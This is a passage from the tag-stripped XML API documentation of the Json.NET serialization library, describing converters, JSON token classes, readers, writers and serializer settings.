true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an to and from its name string value. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + A cached representation of the Enum string representation to respect per Enum field name. + + The type of the Enum. + A map of enum field name to either the field name, or the configured enum member name (). + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets or sets a value indicating whether the written enum text should be camel case. + + + true if the written enum text will be camel case; otherwise, false. + + + + Specifies how constructors are used when initializing objects during deserialization by the . + + + + + First attempt to use the public default constructor, then fall back to single paramatized constructor, then the non-public default constructor. + + + + + Json.NET will use a non-public default constructor before falling back to a paramatized constructor. + + + + + Converts a to and from a string (e.g. "1.2.3.4"). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Specifies how dates are formatted when writing JSON text. + + + + + Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". + + + + + Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". + + + + + Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. + + + + + Date formatted strings are not parsed to a date type and are read as strings. + + + + + Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . + + + + + Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . + + + + + Specifies how to treat the time value when converting between string and . + + + + + Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. + + + + + Treat as a UTC. If the object represents a local time, it is converted to a UTC. + + + + + Treat as a local time if a is being converted to a string. + If a string is being converted to , convert to a local time if a time zone is specified. + + + + + Time zone information should be preserved when converting. + + + + + Specifies formatting options for the . + + + + + No special formatting is applied. This is the default. + + + + + Causes child objects to be indented according to the and settings. + + + + + Instructs the to use the specified constructor when deserializing that object. + + + + + Instructs the how to serialize the object. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Gets or sets the id. + + The id. + + + + Gets or sets the title. + + The title. + + + + Gets or sets the description. + + The description. + + + + Gets the collection's items converter. + + The collection's items converter. + + + + Gets or sets a value that indicates whether to preserve object references. + + + true to keep object reference; otherwise, false. The default is false. + + + + + Gets or sets a value that indicates whether to preserve collection's items references. + + + true to keep collection's items object references; otherwise, false. The default is false. + + + + + Gets or sets the reference loop handling used when serializing the collection's items. + + The reference loop handling. + + + + Gets or sets the type name handling used when serializing the collection's items. + + The type name handling. + + + + Instructs the how to serialize the collection. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + The exception thrown when an error occurs during Json serialization or deserialization. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or a null reference (Nothing in Visual Basic) if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Represents a view of a . + + + + + Initializes a new instance of the class. + + The name. + Type of the property. + + + + When overridden in a derived class, returns whether resetting an object changes its value. + + + true if resetting the component changes its value; otherwise, false. + + The component to test for reset capability. + + + + + When overridden in a derived class, gets the current value of the property on a component. + + + The value of a property for a given component. + + The component with the property for which to retrieve the value. + + + + + When overridden in a derived class, resets the value for this property of the component to the default value. + + The component with the property value that is to be reset to the default value. + + + + + When overridden in a derived class, sets the value of the component to a different value. + + The component with the property value that is to be set. + + The new value. + + + + + When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted. + + + true if the property should be persisted; otherwise, false. + + The component with the property to be examined for persistence. + + + + + When overridden in a derived class, gets the type of the component this property is bound to. + + + A that represents the type of component this property is bound to. When the or methods are invoked, the object specified might be an instance of this type. + + + + + When overridden in a derived class, gets a value indicating whether this property is read-only. + + + true if the property is read-only; otherwise, false. + + + + + When overridden in a derived class, gets the type of the property. + + + A that represents the type of the property. + + + + + Gets the hash code for the name of the member. + + + + + The hash code for the name of the member. + + + + + Represents a trace writer. + + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of Info will exclude Verbose messages and include Info, + Warning and Error messages. + + The that will be used to filter the trace messages passed to the writer. + + + + Represents a trace writer that writes to the application's instances. + + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of Info will exclude Verbose messages and include Info, + Warning and Error messages. + + + The that will be used to filter the trace messages passed to the writer. + + + + + Contract details for a used by the . + + + + + Gets the underlying type for the contract. + + The underlying type for the contract. + + + + Gets or sets the type created during deserialization. + + The type created during deserialization. + + + + Gets or sets whether this type contract is serialized as a reference. + + Whether this type contract is serialized as a reference. + + + + Gets or sets the default for this contract. + + The converter. + + + + Gets or sets the method called immediately after deserialization of the object. + + The method called immediately after deserialization of the object. + + + + Gets or sets the method called during deserialization of the object. + + The method called during deserialization of the object. + + + + Gets or sets the method called after serialization of the object graph. + + The method called after serialization of the object graph. + + + + Gets or sets the method called before serialization of the object. + + The method called before serialization of the object. + + + + Gets or sets the default creator method used to create the object. + + The default creator method used to create the object. + + + + Gets or sets a value indicating whether the default creator is non public. + + + true if the default object creator is non-public; otherwise, false. + + + + Gets or sets the method called when an error is thrown during the serialization of the object. + + The method called when an error is thrown during the serialization of the object. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Gets or sets the default collection items . + + The converter. + + + + Gets or sets a value indicating whether the collection items preserve object references. + + + true if collection items preserve object references; otherwise, false. + + + + Gets or sets the collection item reference loop handling. + + The reference loop handling. + + + + Gets or sets the collection item type name handling. + + The type name handling. + + + + Represents a trace writer that writes to memory. When the trace message limit is + reached then old trace messages will be removed as new messages are added. + + + + + Initializes a new instance of the class. + + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Returns an enumeration of the most recent trace messages. + + An enumeration of the most recent trace messages. + + + + Returns a of the most recent trace messages. + + + A of the most recent trace messages. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of Info will exclude Verbose messages and include Info, + Warning and Error messages. + + + The that will be used to filter the trace messages passed to the writer. + + + + + Specifies how strings are escaped when writing JSON text. + + + + + Only control characters (e.g. newline) are escaped. + + + + + All non-ASCII and control characters (e.g. newline) are escaped. + + + + + HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. + + + + + Represents a collection of objects. + + The type of token + + + + Gets the with the specified key. + + + + + + + Provides an interface to enable a class to return line and position information. + + + + + Gets a value indicating whether the class can return line information. + + + true if LineNumber and LinePosition can be provided; otherwise, false. + + + + + Gets the current line number. + + The current line number or 0 if no line information is available (for example, HasLineInfo returns false). + + + + Gets the current line position. + + The current line position or 0 if no line information is available (for example, HasLineInfo returns false). + + + + Represents an abstract JSON token. + + + + + Compares the values of two tokens, including the values of all descendant tokens. + + The first to compare. + The second to compare. + true if the tokens are equal; otherwise false. + + + + Adds the specified content immediately after this token. + + A content object that contains simple content or a collection of content objects to be added after this token. + + + + Adds the specified content immediately before this token. + + A content object that contains simple content or a collection of content objects to be added before this token. + + + + Returns a collection of the ancestor tokens of this token. + + A collection of the ancestor tokens of this token. + + + + Returns a collection of the sibling tokens after this token, in document order. + + A collection of the sibling tokens after this tokens, in document order. + + + + Returns a collection of the sibling tokens before this token, in document order. + + A collection of the sibling tokens before this token, in document order. + + + + Gets the with the specified key converted to the specified type. + + The type to convert the token to. + The token key. + The converted token value. + + + + Returns a collection of the child tokens of this token, in document order. + + An of containing the child tokens of this , in document order. + + + + Returns a collection of the child tokens of this token, in document order, filtered by the specified type. + + The type to filter the child tokens on. + A containing the child tokens of this , in document order. + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + A containing the child values of this , in document order. + + + + Removes this token from its parent. + + + + + Replaces this token with the specified token. + + The value. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Returns the indented JSON for this token. + + + The indented JSON for this token. + + + + + Returns the JSON for this token using the given formatting and converters. + + Indicates how the output is formatted. + A collection of which will be used when writing the token. + The JSON for this token using the given formatting and converters. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Creates an for this token. + + An that can be used to read this token and its descendants. + + + + Creates a from an object. + + The object that will be used to create . + A with the value of the specified object + + + + Creates a from an object using the specified . + + The object that will be used to create . + The that will be used when reading the object. + A with the value of the specified object + + + + Creates the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the JSON value. + + + + Creates the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the JSON value. + + + + Creates a from a . + + An positioned at the token to read into this . + + An that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + Creates a from a . + + An positioned at the token to read into this . + + An that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Selects the token that matches the object path. + + + The object path from the current to the + to be returned. This must be a string of property names or array indexes separated + by periods, such as Tables[0].DefaultView[0].Price in C# or + Tables(0).DefaultView(0).Price in Visual Basic. + + The that matches the object path or a null reference if no matching token is found. + + + + Selects the token that matches the object path. + + + The object path from the current to the + to be returned. This must be a string of property names or array indexes separated + by periods, such as Tables[0].DefaultView[0].Price in C# or + Tables(0).DefaultView(0).Price in Visual Basic. + + A flag to indicate whether an error should be thrown if no token is found. + The that matches the object path. + + + + Creates a new instance of the . All child tokens are recursively cloned. + + A new instance of the . + + + + Gets a comparer that can compare two tokens for value equality. + + A that can compare two nodes for value equality. + + + + Gets or sets the parent. + + The parent. + + + + Gets the root of this . + + The root of this . + + + + Gets the node type for this . + + The type. + + + + Gets a value indicating whether this token has childen tokens. + + + true if this token has child values; otherwise, false. + + + + + Gets the next sibling token of this node. + + The that contains the next sibling token. + + + + Gets the previous sibling token of this node. + + The that contains the previous sibling token. + + + + Gets the with the specified key. + + The with the specified key. + + + + Get the first child token of this token. + + A containing the first child token of the . + + + + Get the last child token of this token. + + A containing the last child token of the . + + + + Represents a value in JSON (string, integer, date, etc). + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Creates a comment with the given value. + + The value. + A comment with the given value. + + + + Creates a string with the given value. + + The value. + A string with the given value. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Indicates whether the current object is equal to another object of the same type. + + + true if the current object is equal to the parameter; otherwise, false. + + An object to compare with this object. + + + + Determines whether the specified is equal to the current . + + The to compare with the current . + + true if the specified is equal to the current ; otherwise, false. + + + The parameter is null. + + + + + Serves as a hash function for a particular type. + + + A hash code for the current . + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format provider. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + The format provider. + + A that represents this instance. + + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: + Value + Meaning + Less than zero + This instance is less than . + Zero + This instance is equal to . + Greater than zero + This instance is greater than . + + + is not the same type as this instance. + + + + + Gets a value indicating whether this token has childen tokens. + + + true if this token has child values; otherwise, false. + + + + + Gets the node type for this . + + The type. + + + + Gets or sets the underlying token value. + + The underlying token value. + + + + Represents a raw JSON string. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class. + + The raw json. + + + + Creates an instance of with the content of the reader's current token. + + The reader. + An instance of with the content of the reader's current token. + + + + Indicating whether a property is required. + + + + + The property is not required. The default state. + + + + + The property must be defined in JSON but can be a null value. + + + + + The property must be defined in JSON and cannot be a null value. + + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Gets or sets the ISerializable object constructor. + + The ISerializable object constructor. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Provides methods to get and set values. + + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Get and set values for a using dynamic methods. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Provides data for the Error event. + + + + + Initializes a new instance of the class. + + The current object. + The error context. + + + + Gets the current object the error event is being raised against. + + The current object the error event is being raised against. + + + + Gets the error context. + + The error context. + + + + Used to resolve references when serializing and deserializing JSON by the . + + + + + Resolves a reference to its object. + + The serialization context. + The reference to resolve. + The object that + + + + Gets the reference for the sepecified object. + + The serialization context. + The object to get a reference for. + The reference to the object. + + + + Determines whether the specified object is referenced. + + The serialization context. + The object to test for a reference. + + true if the specified object is referenced; otherwise, false. + + + + + Adds a reference to the specified object. + + The serialization context. + The reference. + The object to reference. + + + + Specifies reference handling options for the . + + + + + + + + Do not preserve references when serializing types. + + + + + Preserve references when serializing into a JSON object structure. + + + + + Preserve references when serializing into a JSON array structure. + + + + + Preserve references when serializing. + + + + + Instructs the how to serialize the collection. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with a flag indicating whether the array can contain null items + + A flag indicating whether the array can contain null items. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Gets or sets a value indicating whether null items are allowed in the collection. + + + true if null items are allowed in the collection; otherwise, false. + + + + Specifies default value handling options for the . + + + + + + + + + Include members where the member value is the same as the member's default value when serializing objects. + Included members are written to JSON. Has no effect when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + so that is is not written to JSON. + This option will ignore all default values (e.g. null for objects and nullable typesl; 0 for integers, + decimals and floating point numbers; and false for booleans). The default value ignored can be changed by + placing the on the property. + + + + + Members with a default value but no JSON will be set to their default value when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + and sets members to their default value when deserializing. + + + + + Instructs the to use the specified when serializing the member or class. + + + + + Initializes a new instance of the class. + + Type of the converter. + + + + Gets the type of the converter. + + The type of the converter. + + + + Instructs the how to serialize the object. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified member serialization. + + The member serialization. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Gets or sets the member serialization. + + The member serialization. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Specifies the settings on a object. + + + + + Initializes a new instance of the class. + + + + + Gets or sets how reference loops (e.g. a class referencing itself) is handled. + + Reference loop handling. + + + + Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + + Missing member handling. + + + + Gets or sets how objects are created during deserialization. + + The object creation handling. + + + + Gets or sets how null values are handled during serialization and deserialization. + + Null value handling. + + + + Gets or sets how null default are handled during serialization and deserialization. + + The default value handling. + + + + Gets or sets a collection that will be used during serialization. + + The converters. + + + + Gets or sets how object references are preserved by the serializer. + + The preserve references handling. + + + + Gets or sets how type name writing and reading is handled by the serializer. + + The type name handling. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + + The type name assembly format. + + + + Gets or sets how constructors are used during deserialization. + + The constructor handling. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + The contract resolver. + + + + Gets or sets the used by the serializer when resolving references. + + The reference resolver. + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets the used by the serializer when resolving type names. + + The binder. + + + + Gets or sets the error handler called during serialization and deserialization. + + The error handler called during serialization and deserialization. + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + + + + + Indicates how JSON text output is formatted. + + + + + Get or set how dates are written to JSON text. + + + + + Get or set how time zones are handling during serialization and deserialization. + + + + + Get or set how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + + + + + Gets or sets the culture used when reading JSON. Defaults to . + + + + + Gets a value indicating whether there will be a check for additional content after deserializing an object. + + + true if there will be a check for additional content after deserializing an object; otherwise, false. + + + + + Represents a reader that provides validation. + + + + + Initializes a new instance of the class that + validates the content returned from the given . + + The to read from while validating. + + + + Reads the next JSON token from the stream as a . + + A . + + + + Reads the next JSON token from the stream as a . + + + A or a null reference if the next JSON token is null. + + + + + Reads the next JSON token from the stream as a . + + A . + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the stream as a . + + A . + + + + Reads the next JSON token from the stream. + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Gets the text value of the current Json token. + + + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + + + Gets the type of the current Json token. + + + + + + + Gets the Common Language Runtime (CLR) type for the current Json token. + + + + + + + Gets or sets the schema. + + The schema. + + + + Gets the used to construct this . + + The specified in the constructor. + + + + Sets an event handler for receiving schema validation errors. + + + + + Compares tokens to determine whether they are equal. + + + + + Determines whether the specified objects are equal. + + The first object of type to compare. + The second object of type to compare. + + true if the specified objects are equal; otherwise, false. + + + + + Returns a hash code for the specified object. + + The for which a hash code is to be returned. + A hash code for the specified object. + The type of is a reference type and is null. + + + + Specifies the member serialization options for the . + + + + + All public members are serialized by default. Members can be excluded using or . + This is the default member serialization mode. + + + + + Only members must be marked with or are serialized. + This member serialization mode can also be set by marking the class with . + + + + + All public and private fields are serialized. Members can be excluded using or . + This member serialization mode can also be set by marking the class with + and setting IgnoreSerializableAttribute on to false. + + + + + Specifies how object creation is handled by the . + + + + + Reuse existing objects, create new objects when needed. + + + + + Only reuse existing objects. + + + + + Always create new objects. + + + + + Converts a to and from the ISO 8601 date format (e.g. 2008-04-12T12:53Z). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Gets or sets the date time styles used when converting a date to and from JSON. + + The date time styles used when converting a date to and from JSON. + + + + Gets or sets the date time format used when converting a date to and from JSON. + + The date time format used when converting a date to and from JSON. + + + + Gets or sets the culture used when converting a date to and from JSON. + + The culture used when converting a date to and from JSON. + + + + Converts a to and from a JavaScript date constructor (e.g. new Date(52231943)). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Converts XML to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The calling serializer. + The value. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Checks if the attributeName is a namespace attribute. + + Attribute name to test. + The attribute name prefix if it has one, otherwise an empty string. + True if attribute name is for a namespace attribute, otherwise false. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produces multiple root elements. + + The name of the deserialize root element. + + + + Gets or sets a flag to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + + true if the array attibute is written to the XML; otherwise, false. + + + + Gets or sets a value indicating whether to write the root JSON object. + + + true if the JSON root object is omitted; otherwise, false. + + + + Represents a reader that provides fast, non-cached, forward-only access to JSON text data. + + + + + Initializes a new instance of the class with the specified . + + The TextReader containing the XML data to read. + + + + Reads the next JSON token from the stream. + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Reads the next JSON token from the stream as a . + + + A or a null reference if the next JSON token is null. This method will return null at the end of an array. + + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the stream as a . + + A . This method will return null at the end of an array. + + + + Changes the state to closed. + + + + + Gets a value indicating whether the class can return line information. + + + true if LineNumber and LinePosition can be provided; otherwise, false. + + + + + Gets the current line number. + + + The current line number or 0 if no line information is available (for example, HasLineInfo returns false). + + + + + Gets the current line position. + + + The current line position or 0 if no line information is available (for example, HasLineInfo returns false). + + + + + Instructs the to always serialize the member with the specified name. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified name. + + Name of the property. + + + + Gets or sets the converter used when serializing the property's collection items. + + The collection's items converter. + + + + Gets or sets the null value handling used when serializing this property. + + The null value handling. + + + + Gets or sets the default value handling used when serializing this property. + + The default value handling. + + + + Gets or sets the reference loop handling used when serializing this property. + + The reference loop handling. + + + + Gets or sets the object creation handling used when deserializing this property. + + The object creation handling. + + + + Gets or sets the type name handling used when serializing this property. + + The type name handling. + + + + Gets or sets whether this property's value is serialized as a reference. + + Whether this property's value is serialized as a reference. + + + + Gets or sets the order of serialization and deserialization of a member. + + The numeric order of serialization or deserialization. + + + + Gets or sets a value indicating whether this property is required. + + + A value indicating whether this property is required. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + Gets or sets the the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Instructs the not to serialize the public field or public read/write property value. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating Json data. + + + + + Creates an instance of the JsonWriter class using the specified . + + The TextWriter to write to. + + + + Flushes whatever is in the buffer to the underlying streams and also flushes the underlying stream. + + + + + Closes this stream and the underlying stream. + + + + + Writes the beginning of a Json object. + + + + + Writes the beginning of a Json array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the specified end token. + + The end token to write. + + + + Writes the property name of a name/value pair on a Json object. + + The name of the property. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes out a comment /*...*/ containing the specified text. + + Text to place 